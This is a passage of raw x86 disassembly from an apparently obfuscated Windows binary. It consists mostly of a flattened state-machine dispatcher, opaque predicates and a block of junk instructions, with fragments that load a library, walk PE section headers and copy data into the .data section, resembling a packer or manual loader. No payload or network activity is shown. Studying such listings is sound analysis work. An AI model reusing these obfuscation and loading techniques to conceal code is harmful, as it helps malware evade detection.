or cl, dl
xor ah, 1
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and al, cl
or cl, dl
not ah
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
mov eax, 0xeaba0456
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmovne eax, esi
jmp 0x401100
cmp eax, 0xe5d34f9e
jg 0x403b29
cmp eax, 0xe373a8f7
jle 0x404c26
cmp eax, 0xe373a8f8
je 0x4092f6
cmp eax, 0xe46a4c1b
je 0x409303
cmp eax, 0xe5bcffd9
jne 0x401100
mov eax, dword [0x508184]
mov dword [ebp - 0x28], 5
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x51a51616
mov esi, ecx
and esi, 0xae5ae9e9
and ecx, 0xf33ad4cb
or eax, esi
mov esi, eax
not esi
and eax, 0xae5ae9e8
and esi, 0x51a51617
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xcc52b34
and edi, 0xcc52b34
and esi, 0xf33ad4cb
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x4910952f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa1d0f93d
and ecx, 0x5e2f06c2
or eax, ecx
cmp eax, 0xa1d0f93d
setne dl
cmp dword [0x508180], 0xa
mov ah, dl
setl cl
setge al
or ah, cl
and cl, dl
xor ah, 1
or cl, ah
mov ah, dl
inc ah
xor ah, al
and ah, al
xor al, dl
or al, ah
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf594349d
cmovne eax, esi
test cl, cl
mov ecx, 0xf594349d
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x401100
cmp eax, 0x28b69206
jg 0x403c7e
cmp eax, 0x24f07084
jle 0x404c76
cmp eax, 0x24f07085
je 0x409319
cmp eax, 0x25017683
je 0x40932a
cmp eax, 0x288c91ae
jne 0x401100
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, 0xa9d57b88
jmp 0x401100
cmp eax, 0xa5a69a4b
jg 0x403d6f
cmp eax, 0xa1f00275
jle 0x404c96
cmp eax, 0xa1f00276
je 0x40934c
cmp eax, 0xa235184c
je 0x409356
cmp eax, 0xa492ecc6
jne 0x401100
mov eax, 0xbcccae18
jmp 0x401100
cmp eax, 0x64f2a39f
jg 0x403e76
cmp eax, 0x646ccda7
jle 0x40516e
cmp eax, 0x646ccda8
je 0x409360
cmp eax, 0x64c3bcdf
je 0x409375
cmp eax, 0x64cf3d12
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x222a4205
mov edx, eax
and edx, 0x44d00428
and eax, 0x5f8508ca
or esi, edx
mov edx, ecx
and edx, 0x9905b9d2
and ecx, 0xa07af735
xor esi, 0x222a4205
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x66fa462c
and esi, 0x9905b9d3
or edx, esi
mov esi, edx
not esi
and edx, 0x5f8508ca
mov edi, esi
and edi, 0xa07af735
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x1a74cd4c
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x508180], 0xa
setl cl
setge al
mov ch, cl
and ah, al
xor cl, dl
and ch, dl
or ch, ah
mov ah, cl
xor ah, 1
xor al, ch
mov dl, ah
and al, ch
mov ch, ah
and dl, cl
xor al, 1
xor ch, dl
xor dl, 1
or ah, al
or dl, cl
mov cl, ah
xor dl, 1
or dl, ch
xor dl, al
xor cl, dl
test ah, ah
mov eax, 0x28b69207
cmovne eax, esi
test dl, 1
mov edx, 0x28b69207
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
cmp eax, 0xc6830341
jg 0x403ecc
cmp eax, 0xc3dc286e
jle 0x405261
cmp eax, 0xc3dc286f
je 0x40948a
cmp eax, 0xc5326a3f
je 0x409565
cmp eax, 0xc5f97318
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x93952671
mov esi, edx
and esi, 0xfffffffe
and edx, 0x6c6ad98e
or ecx, esi
or eax, edx
mov esi, 0x6754ad08
not ecx
xor eax, 0x93952671
or eax, ecx
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x508180], 0xa
setl al
setge dl
mov dh, al
mov cl, al
and ch, dl
and al, ah
xor dh, ah
or cl, ah
or al, ch
not dh
xor cl, 1
xor al, 1
and dh, ah
or cl, dh
mov dh, dl
or dl, ah
xor dh, ah
xor dl, 1
mov ah, al
or dl, dh
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x59372b97
cmovne esi, eax
test cl, 1
mov eax, 0x6754ad08
jmp 0x408a57
cmp eax, 0x195a4303
jg 0x403f13
cmp eax, 0x15cac7c0
jle 0x405290
cmp eax, 0x15cac7c1
je 0x409581
cmp eax, 0x15d1d14e
je 0x409597
cmp eax, 0x187d8d69
jne 0x401100
mov dword [ebp - 0x8c], 0
mov eax, 0x9b2bc685
jmp 0x401100
cmp eax, 0x974d1b47
jg 0x40401f
cmp eax, 0x9478fe09
jle 0x4053f4
cmp eax, 0x9478fe0a
je 0x4095aa
cmp eax, 0x95da0122
je 0x4095c0
cmp eax, 0x968f8452
jne 0x401100
mov eax, 0x5588746f
jmp 0x401100
cmp eax, 0x59372b96
jg 0x40419b
cmp eax, 0x56f36537
jle 0x40659f
cmp eax, 0x56f36538
je 0x4095ca
cmp eax, 0x574b8060
je 0x4095ee
cmp eax, 0x58b47ffc
jne 0x401100
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5f19854c
mov esi, eax
and esi, 0xa0e67ab2
and eax, 0x55567f39
or edx, esi
mov esi, edx
xor esi, 0x17188540
xor edx, 0xa0e67ab3
mov edi, edx
and edi, 0xc84318af
and esi, 0x37bce750
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xaaa980c6
mov ebx, edi
not ebx
and edi, 0x37bce750
or eax, ecx
or edx, ebx
and ebx, 0xc84318af
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x55567f39
mov edi, esi
and edi, 0xaaa980c6
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xbcceda61
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x508180], 0xa
setge ch
setl cl
mov al, ch
or dl, cl
xor cl, ah
xor al, ah
mov dh, al
and al, ch
and dh, ah
xor al, 1
mov ah, dl
xor dh, 1
xor ah, cl
or cl, dl
mov ch, dh
xor cl, 1
xor ch, al
or al, dh
or cl, ah
xor al, 1
or al, ch
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5d1fd09c
cmovne ecx, esi
test al, 1
mov esi, 0x5d1fd09c
jmp 0x40bf4b
cmp eax, 0xf4df270f
jle 0x4065bf
cmp eax, 0xf4df2710
je 0x409603
cmp eax, 0xf57938fc
je 0x409619
cmp eax, 0xf594349d
jne 0x401100
mov eax, 0x6efd5276
jmp 0x401100
cmp eax, 0x30c023d8
jle 0x4066a1
cmp eax, 0x30c023d9
je 0x409623
cmp eax, 0x32cd4d41
je 0x40964c
cmp eax, 0x332685e3
jne 0x401100
mov eax, dword [0x508184]
mov esi, 0xd4a5ded8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
or ecx, 1
not eax
mov edx, eax
and ecx, 0xb7d2a673
and edx, 0x482d598c
or edx, ecx
mov ecx, eax
or ecx, 0xb7d2a672
and ecx, 0xb7d2a673
xor ecx, edx
not ecx
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne ch
cmp dword [0x508180], 0xa
setge al
mov dh, al
mov cl, al
inc dh
xor cl, ch
and dh, ch
mov ch, al
mov dl, cl
xor ch, ah
xor dl, 1
and ch, al
and al, ah
or al, dh
mov dh, cl
or al, ch
mov ch, al
mov ah, al
or al, dl
and dl, cl
xor ch, 1
xor dl, 1
and ah, ch
xor dh, dl
or dl, cl
mov cl, ch
xor ah, 1
xor dl, 1
xor cl, ah
or ah, ch
or dl, dh
xor ah, 1
or ah, cl
mov ecx, edx
xor cl, 1
and cl, ah
xor ah, 1
and ah, dl
mov edx, eax
or ah, cl
mov ecx, 0xb32846be
xor dl, ah
test al, al
cmovne ecx, esi
test ah, 1
not dl
mov eax, 0xb32846be
cmove ecx, esi
test dl, 1
cmovne ecx, eax
mov eax, ecx
jmp 0x401100
cmp eax, 0xb395f295
jle 0x4066da
cmp eax, 0xb395f296
je 0x40965d
cmp eax, 0xb40bc560
je 0x409741
cmp eax, 0xb418ae5e
jne 0x401100
mov eax, 0xbe57ae84
jmp 0x401100
cmp eax, 0x72ad3db0
jle 0x4066fa
cmp eax, 0x72ad3db1
je 0x409752
cmp eax, 0x72cc3ac5
je 0x40989e
cmp eax, 0x737992c2
jne 0x401100
cmp byte [ebp - 0x88], 0
mov eax, 0xbfa26346
mov ecx, 0x5e24c606
cmovne eax, ecx
jmp 0x401100
cmp eax, 0xd2bd88f0
jle 0x406847
cmp eax, 0xd2bd88f1
je 0x409985
cmp eax, 0xd35d090a
je 0x40998f
cmp eax, 0xd3b362b5
jne 0x401100
mov eax, dword [ebp - 0x154]
add eax, 0x18
mov dword [ebp - 0xe0], eax
mov eax, 0x2aebbf02
jmp 0x401100
cmp eax, 0xd5fcb0d
jle 0x40687a
cmp eax, 0xd5fcb0e
je 0x409a89
cmp eax, 0xe1375bd
je 0x409a9f
cmp eax, 0x10a13a4a
jne 0x401100
mov eax, 0x1f0b16ac
jmp 0x401100
cmp eax, 0x8fab226c
jle 0x406994
cmp eax, 0x8fab226d
je 0x409aaf
cmp eax, 0x8fcd2629
je 0x409ac8
cmp eax, 0x909aa915
jne 0x401100
push dword [ebp - 0x17c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov ecx, 0xe9d7d9cc
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0
mov eax, 0xfd85d6d8
cmove eax, ecx
jmp 0x401100
cmp eax, 0x4fc0e745
jle 0x406a91
cmp eax, 0x4fc0e746
je 0x409add
cmp eax, 0x51c4ca2b
je 0x409b25
cmp eax, 0x52170a34
jne 0x401100
mov eax, 0xa8639846
jmp 0x401100
cmp eax, 0xecfe2be2
jle 0x406b76
cmp eax, 0xecfe2be3
je 0x409cb3
cmp eax, 0xee685225
je 0x409cbd
cmp eax, 0xee69616a
jne 0x401100
mov eax, 0xf97335d6
jmp 0x401100
cmp eax, 0x2bfa9701
jle 0x406ba7
cmp eax, 0x2bfa9702
je 0x409ce8
cmp eax, 0x2bfee2e8
je 0x409cf2
cmp eax, 0x2c9bad29
jne 0x401100
mov eax, 0xee951e11
mov dword [ebp - 0x34], 1
jmp 0x401100
cmp eax, 0xa8e44ceb
jle 0x406c4d
cmp eax, 0xa8e44cec
je 0x40a014
cmp eax, 0xa9d57b88
je 0x40a1d0
cmp eax, 0xac083379
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x9743e59c
mov esi, edx
and esi, 0x68bc1a63
and edx, 0x16f236ad
or ecx, esi
mov esi, ecx
xor esi, 0x93436484
xor ecx, 0x8380840
and ecx, 0xc388958
and esi, 0xf3c776a6
or esi, ecx
mov ecx, eax
or ecx, 0xc388958
and eax, 0xe90dc952
and ecx, 0xc388959
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x332a9762
mov esi, edx
and esi, 0xccd5689d
or ecx, esi
mov esi, eax
xor esi, 0x21088142
xor eax, 0x4d0208d
and eax, 0xccd5689d
and esi, 0x332a9762
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x4910952f
sete al
setne cl
cmp dword [0x508180], 0xa
setl ah
setge dl
mov ch, ah
and al, dl
xor ch, cl
and cl, ah
mov dh, ch
or al, cl
xor dh, dl
and dh, ch
mov cl, dh
xor cl, al
or al, dh
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe5bcffd9
cmovne edx, esi
test al, al
mov eax, 0xe5bcffd9
jmp 0x40e922
cmp eax, 0x6b27ee5c
jle 0x406dd8
cmp eax, 0x6b27ee5d
je 0x40a1e5
cmp eax, 0x6b7173a8
je 0x40a1ef
cmp eax, 0x6bbc67f3
jne 0x401100
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xe8], eax
mov eax, 0x984ce4ab
jmp 0x401100
cmp eax, 0xcb17fa93
jle 0x406df8
cmp eax, 0xcb17fa94
je 0x40a39e
cmp eax, 0xcc3764ae
je 0x40a3ae
cmp eax, 0xcc3f74e5
jne 0x401100
mov eax, 0xea3750d6
jmp 0x401100
cmp eax, 0x1df31767
jle 0x406e24
cmp eax, 0x1df31768
je 0x40a546
cmp eax, 0x1dfe92cc
je 0x40a6ee
cmp eax, 0x1f0b16ac
jne 0x401100
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, 0x443b4e3d
jmp 0x401100
cmp eax, 0x9b2bc684
jle 0x406e44
cmp eax, 0x9b2bc685
je 0x40a89d
cmp eax, 0x9b71dcd4
je 0x40a98b
cmp eax, 0x9bf79de4
jne 0x401100
mov eax, dword [ebp - 0x150]
push dword [eax + 0x10]
push dword [ebp - 0x14c]
push dword [ebp - 0x140]
vzeroupper
call fcn.00446620
add esp, 0xc
mov eax, 0xc7b62d91
jmp 0x401100
cmp eax, 0x5d1fd09b
jle 0x406f5f
cmp eax, 0x5d1fd09c
je 0x40a9a1
cmp eax, 0x5d696939
je 0x40a9ab
cmp eax, 0x5e24c606
jne 0x401100
mov eax, dword [0x508184]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov ecx, esi
or ecx, 1
and esi, 0xfffffffe
mov edx, eax
and edx, 1
and eax, 0xdbb70052
or edx, esi
mov esi, ecx
and esi, 0x2448ffac
or eax, esi
mov esi, edx
not esi
and edx, 0xdbb70053
or ecx, esi
and esi, 0x2448ffac
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x2a494804
mov eax, ecx
and eax, 0x22000804
and edx, ecx
not ecx
and ecx, 0x8494000
or eax, ecx
mov ecx, eax
xor ecx, 0x2000800
xor eax, 0xddfff7fb
mov esi, eax
and esi, 0x652d70d6
and ecx, 0xa400800
or ecx, esi
mov esi, edx
not esi
and edx, 0x9ad28f29
or eax, esi
and esi, 0x652d70d6
or edx, esi
not eax
mov esi, 0xd2734c62
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc0a91fcd
and ecx, 0x3f56e032
or eax, ecx
mov ecx, eax
xor ecx, 0x20405600
xor eax, 0x151fa836
mov edx, eax
and edx, 0xcfb001d9
and ecx, 0x304ffe26
or ecx, edx
xor ecx, 0x304ffe26
or ecx, eax
cmp ecx, 0xffffffff
setne ah
cmp dword [0x508180], 0xa
mov ch, ah
mov al, ah
setge cl
setl dl
inc al
or ch, cl
xor cl, ah
and cl, ch
mov ch, ah
and ch, al
xor ch, 1
or ch, al
or al, dl
xor ch, 1
or ch, ah
xor ch, dl
mov dl, ch
xor dl, al
or al, ch
not al
or al, dl
mov edx, 0x8859d815
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0x8859d815
cmove edx, esi
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x401100
cmp eax, 0xfc9a8331
jle 0x406f89
cmp eax, 0xfc9a8332
je 0x40a9ce
cmp eax, 0xfd3e0249
je 0x40abdc
cmp eax, 0xfd6879bc
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfa92a2a8
and ecx, 0x56d5d56
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0xfa92a2a8
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x81f375f9
xor edx, ecx
test edx, ecx
sete dl
setne ah
cmp dword [0x508180], 0xa
setge cl
setl al
xor cl, ah
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xeaba0456
jmp 0x40d60c
cmp eax, 0x443b4e3c
jle 0x4071a7
cmp eax, 0x443b4e3d
je 0x40ad5a
cmp eax, 0x44bc581a
je 0x40ad6c
cmp eax, 0x4525511e
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x401144
and eax, 0x68000219
mov edx, ecx
or edx, 0x932c8482
and esi, 0x936c95c6
and ecx, 0x4936820
and edx, 0x936c95c6
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc898ff2d
and ecx, 0x376700d2
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x5f27138f
xor esi, 0x5f27138e
xor eax, 0xa0d8ec70
and esi, edx
and eax, 0xfffffffe
and edx, 1
mov ecx, esi
not ecx
or edx, eax
and esi, 0x880257a9
mov eax, ecx
and eax, 0x77fda856
or esi, eax
mov eax, edx
not eax
and edx, 0x880257a9
or ecx, eax
and eax, 0x77fda856
or edx, eax
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
xor edx, 0x2bf9365c
mov eax, ecx
and eax, 0x29990258
and edx, ecx
not ecx
and ecx, 0x2603404
or eax, ecx
mov ecx, eax
xor ecx, 0x1010258
xor eax, 0xd666fda7
mov esi, eax
and esi, 0xacbecc86
and ecx, 0x3413258
or ecx, esi
mov esi, edx
not esi
and edx, 0x53413379
or eax, esi
and esi, 0xacbecc86
or edx, esi
not eax
mov esi, 0xf57938fc
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7e08db10
and ecx, 0x81f724ef
or eax, ecx
mov ecx, eax
xor ecx, 0x11a0480c
xor eax, 0xaa0e12b3
mov edx, eax
and edx, 0xee59b561
and ecx, 0x11a64a9e
or ecx, edx
xor ecx, 0x11a64a9e
or ecx, eax
xor ecx, 0xffffffff
setne ah
sete cl
cmp dword [0x508180], 0xa
mov dl, ah
setl ch
setge al
and dl, al
and ch, cl
or ch, dl
mov dl, ch
xor dl, al
xor al, ah
mov ah, al
mov cl, al
and dl, ch
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
mov ah, al
xor cl, 1
xor ah, dl
or cl, al
or al, dl
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd6713af8
cmovne edx, esi
test al, 1
mov eax, 0xd6713af8
cmovne eax, edx
test cl, 1
cmove eax, edx
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x64], edx
jmp 0x401100
cmp eax, 0xbcceda60
jle 0x4072ab
cmp eax, 0xbcceda61
je 0x40ad85
cmp eax, 0xbd810013
je 0x40ad92
cmp eax, 0xbe57ae84
jne 0x401100
push 0x400
push section..data
push dword [ebp - 0x13c]
vzeroupper
call fcn.00446620
add esp, 0xc
not edx
not eax
sub esi, 0xcd
add ebx, 0x63
sub ebx, 0xe0
imul ebx
rcl esi, 0x74
sbb esi, 0xf0
dec esi
dec edi
inc esi
not ebx
not ebx
ror edi, 0xdd
imul ebx
bswap ebx
rcr esi, 0x33
bswap eax
rcr eax, 0x57
bswap edx
imul edi
add eax, 0xb0
sub esi, 0xa1
inc edx
not esi
dec edx
neg esi
rcr eax, 0x46
mov edx, 0x43
and eax, 0x26
or edi, 0x5c
neg edx
inc ebx
and ebx, 0xa4
mov edx, 0x59
neg edx
add edi, 0x22
bswap ebx
inc esi
sbb edi, 0xb6
and edx, 0xd4
add esi, 0x8c
dec ebx
rcl esi, 0x55
imul ebx
imul ebx
and esi, 0x3c
imul edx
rol eax, 0x7e
ror edx, 0xe6
add edx, 0xd3
inc esi
sub eax, 0x7f
sub eax, 0x7d
imul edx
neg edi
sub esi, 0x7f
imul esi
mov esi, 0xd9
dec ebx
mov esi, 0x30
sub edi, 0x6f
mov ebx, 0x61
neg ebx
rcr ebx, 0x8a
dec ebx
bswap ebx
imul eax
sub ebx, 0x85
inc edi
sub edx, 0xf2
rcl edx, 0x7f
dec esi
add ebx, 0x34
sub edi, 0x22
neg eax
dec edx
dec ebx
add eax, 0x25
mov edi, 0x25
sub edi, 0x13
rcl eax, 0xa5
bswap ebx
ror eax, 0x69
neg edx
sbb esi, 0x38
ror ebx, 0xf
imul edi
neg eax
ror ebx, 0x88
bswap ebx
rol edi, 0x5d
and esi, 0x3c
rcl ebx, 0x48
and edi, 0x98
dec eax
imul esi
rol ebx, 0xed
rol edi, 0x59
neg edx
sbb ebx, 0x3e
mov eax, 0x7f
rcl edx, 0xa7
inc edx
inc esi
not edx
not eax
rcl ebx, 3
neg esi
inc ebx
imul edi
sbb ebx, 0xa2
not ebx
add esi, 0x60
sub eax, 0x5a
imul edi
bswap edi
sub ebx, 0xd7
rcr ebx, 0x75
not eax
rcl edi, 0x22
rcl edi, 0x5f
imul edi
mov edx, 0xb4
not edx
add edi, 0xeb
mov ebx, 0x11
neg esi
rol esi, 0x43
ror edx, 0xc6
inc esi
rcl edi, 0x24
imul esi
and edi, 0x39
neg edi
bswap esi
rcl edi, 0x50
sbb esi, 0x41
rol eax, 0x3f
inc edx
and edi, 0x7e
mov edi, 0xae
imul eax
rcl edi, 0xc5
rcr ebx, 0xa4
sub esi, 0x95
not eax
rcr edx, 0x6b
ror edx, 0x34
bswap esi
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xd0], eax
mov eax, 0x2fb7842b
jmp 0x401100
cmp eax, 0x7a4eb008
jle 0x4072d7
cmp eax, 0x7a4eb009
je 0x40ae29
cmp eax, 0x7ad6d4f1
je 0x40b025
cmp eax, 0x7b64110b
jne 0x401100
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa7a89727
mov edx, ecx
and edx, 0x185768d8
and ecx, 0x11f19a0b
or esi, edx
mov edx, eax
xor edx, 0xbfffffff
and edx, eax
and eax, 0xee0e65f4
xor esi, 0xa7a89727
or eax, ecx
or edx, esi
mov ecx, eax
xor ecx, 0xee0e65f4
xor eax, 0x11f19a0b
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
mov ecx, dword [0x508184]
xor edx, eax
test edx, eax
setne byte [ebp - 0x83]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x50028a20
and eax, 0x27801082
mov edx, ecx
or edx, 0x8818250d
and esi, 0xd81aaf2d
and ecx, 0x654050
and edx, 0xd81aaf2d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xab57f5ee
and ecx, 0x54a80a11
or eax, ecx
mov edx, eax
xor edx, 0x232a90b3
xor eax, 0xdcd56f4c
mov ecx, edx
or ecx, 0x83ab1b2f
mov esi, eax
or esi, 0x40000010
mov edi, eax
and edi, 0x181444c0
and ecx, 0xc3ab1b3f
and esi, 0xc3ab1b3f
or edi, ecx
mov ecx, edx
and ecx, 0x2440a000
and edx, 0xae5c1623
or ecx, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x2877a4af
and esi, 0xd7885b50
or ecx, esi
mov esi, eax
and esi, 0x51a3e9dc
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0xc140202
xor esi, 0x500049cc
or eax, edx
mov edx, ecx
xor edx, 0x2000405e
and esi, 0xf2485dec
xor ecx, 0x8f9c1f81
and eax, 0xdb7a213
and edx, 0x2c085fdf
or eax, esi
mov esi, ecx
and esi, 0xd3f7a020
or edx, esi
mov esi, eax
xor esi, 0xc000213
xor eax, 0xf2485dec
or ecx, eax
and eax, 0xd3f7a020
and esi, 0x2c085fdf
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x36b1b342
and edx, 0xc94e4cbd
or edx, esi
mov esi, eax
not esi
and eax, 0xc94e4cbd
or ecx, esi
and esi, 0x36b1b342
or eax, esi
not ecx
mov esi, 0xc8744dc4
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf3425cfe
and eax, 0xcbda301
or eax, ecx
cmp eax, 0xcbda301
sete dl
cmp dword [0x508180], 0xa
mov ah, dl
setge cl
setl al
and ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x804eebf7
cmovne ecx, esi
test al, 1
mov eax, 0x804eebf7
jmp 0x4010ec
cmp eax, 0xd68846bd
jle 0x40739f
cmp eax, 0xd68846be
je 0x40b135
cmp eax, 0xd72d2d1f
je 0x40b159
cmp eax, 0xd7ffa2da
jne 0x401100
mov eax, 0x64c3bcdf
jmp 0x401100
cmp eax, 0xbe67bf9
jle 0x4073bf
cmp eax, 0xbe67bfa
je 0x40b257
cmp eax, 0xd22cced
je 0x40b271
cmp eax, 0xd35b1f7
jne 0x401100
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xde766f20
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x218990df
and edx, 0xde766f20
or edx, eax
mov ecx, edx
xor ecx, 0xefe560e0
mov eax, edx
not eax
andn esi, edx, ecx
mov ecx, edx
and ecx, 0x101a9f1f
and edx, 0x954bd1f1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xefe560e1
and esi, 0x101a9f1e
or ecx, esi
mov esi, eax
and esi, 0x6ab42e0e
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x954bd1f0
xor esi, 0x40342c0a
or eax, edx
mov edx, ecx
not edx
and ecx, 0xd47e3d6a
and esi, 0xd47e3d6a
mov edi, edx
or edx, eax
and edi, 0x2b81c295
and eax, 0x2b81c295
or ecx, edi
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xd2bd88f1
mov eax, edx
not eax
and edx, 0xc1c8dd55
and eax, 0x3e3722aa
or edx, eax
mov eax, edx
xor eax, 0xc88811
xor edx, 0x2a20200a
and edx, 0xeb20754e
and eax, 0x14df8ab1
or eax, edx
mov ecx, eax
xor ecx, 0x4a201402
xor eax, 0x100b8200
and eax, 0xb10be34c
and ecx, 0x4ef41cb3
or ecx, eax
mov eax, ecx
xor eax, 0x8541c11
xor ecx, 0x110b2040
and ecx, 0x57ab20e2
and eax, 0xa854df1d
or eax, ecx
mov ecx, eax
xor ecx, 0x13000060
xor eax, 0xa810d900
and eax, 0xecbbf982
and ecx, 0x1344067d
or ecx, eax
xor ecx, 0x1344067d
setne dl
sete ah
cmp dword [0x508180], 0xa
setl ch
setge al
mov cl, ch
or ch, ah
and ah, al
xor al, dl
and cl, dl
xor ch, 1
or cl, ah
or al, ch
mov edx, ecx
mov ah, al
xor dl, al
not ah
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xbe21f15
cmovne ecx, esi
test al, al
jmp 0x40d611
cmp eax, 0x843ae1ad
jle 0x4073df
cmp eax, 0x843ae1ae
je 0x40b281
cmp eax, 0x850e1938
je 0x40b28b
cmp eax, 0x8737530a
jne 0x401100
mov ecx, dword [ebp - 0xa0]
mov eax, dword [ecx + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], ecx
mov eax, 0x623cb3d4
jmp 0x401100
cmp eax, 0x4dd6d3a4
jle 0x4073ff
cmp eax, 0x4dd6d3a5
je 0x40b2ab
cmp eax, 0x4de629b6
je 0x40b2ee
cmp eax, 0x4e0e9615
jne 0x401100
mov eax, 0xa9d57b88
jmp 0x401100
cmp eax, 0xe9a8c2a0
jle 0x407527
cmp eax, 0xe9a8c2a1
je 0x40b307
cmp eax, 0xe9d7d9cc
je 0x40b311
cmp eax, 0xea3750d6
jne 0x401100
mov ecx, dword [0x508184]
mov esi, 0x1dfe92cc
mov edi, 0x1dfe92cc
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x241b3882
mov edx, eax
and edx, 0xdbe4c77d
andn ecx, eax, ecx
or ecx, edx
mov edx, ecx
not edx
